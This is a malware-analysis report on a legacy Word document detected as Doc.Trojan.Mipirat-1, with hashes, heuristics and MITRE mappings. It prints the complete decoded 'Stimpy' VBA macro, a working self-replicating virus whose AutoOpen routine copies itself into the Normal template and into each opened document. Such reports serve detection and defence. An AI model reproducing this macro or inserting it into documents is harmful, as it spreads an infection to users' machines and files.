Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c02ed7856e3295e9…

MALICIOUS

Office (OLE)

45.5 KB Created: 2001-02-02 18:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6acac9974200835b4b6ee2f127b96151 SHA-1: 0bef302e72413321bff4315deeb2a5c3aee96f9f SHA-256: c02ed7856e3295e9fcbc5aec1b93e799737fc73362002012725bfa293b455a66
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for document infection. The macro attempts to copy itself to the Normal template and then to other documents, indicating a self-propagating infection mechanism. The ClamAV detection 'Doc.Trojan.Mipirat-1' further supports its malicious nature. No external network indicators were found.

Heuristics 4

  • ClamAV: Doc.Trojan.Mipirat-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mipirat-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 982 bytes
SHA-256: 75e97a2e5847ddf2b995ab73123901e0cdcb8fc8548cbe556c811767890ba1da
Detection
ClamAV: Doc.Trojan.Mipirat-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Stimpy"
Sub AutoOpen()
If Application.UserName <> "Stimpy" Then
Set mytemplate = NormalTemplate
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, Destination:= _
mytemplate.FullName, Name:= _
"Stimpy", Object:=wdOrganizerObjectProjectItems
Application.UserName = "Stimpy"
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Infect" Then num = aVar.Index
Next aVar
If num = 0 Then
ActiveDocument.Variables.Add Name:="Infect"
Set mytemplate = ActiveDocument.AttachedTemplate
Application.OrganizerCopy Source:= _
mytemplate.FullName, Destination:= _
ActiveDocument.FullName, Name:="Stimpy", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
End Sub